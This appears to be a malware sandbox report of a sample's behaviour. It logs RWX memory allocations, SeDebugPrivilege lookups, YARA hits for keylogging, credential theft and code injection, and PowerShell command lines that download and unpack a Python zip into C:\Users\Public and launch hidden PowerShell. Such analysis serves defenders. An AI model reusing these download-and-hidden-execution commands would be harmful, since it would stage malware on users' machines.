NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	powershell -command "[CultureInfo]::InvariantCulture.TextInfo.ToLower([string]$env:C)"
cmdline	powershell -command "Invoke-WebRequest -URI https://www.python.org/ftp/python/3.10.0/python-3.10.0-embed-win32.zip -OutFile C:\Users\Public\+.zip"
cmdline	C:\Windows\system32\cmd.exe /c powershell -command "[CultureInfo]::InvariantCulture.TextInfo.ToLower([string]$env:C)"
cmdline	powershell -command "Expand-Archive -Path C:\Users\Public\+.zip -DestinationPath C:\Users\Public\+"
cmdline	powershell -WindowStyle Hidden -Command "& {

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW July 26, 2024, 6:36 p.m.	thread_identifier: 2156 thread_handle: 0x00000088 process_identifier: 2152 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -WindowStyle Hidden -Command "& { filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 26, 2024, 6:36 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 26, 2024, 6:36 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 26, 2024, 6:36 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 26, 2024, 6:36 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

c.cmd

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All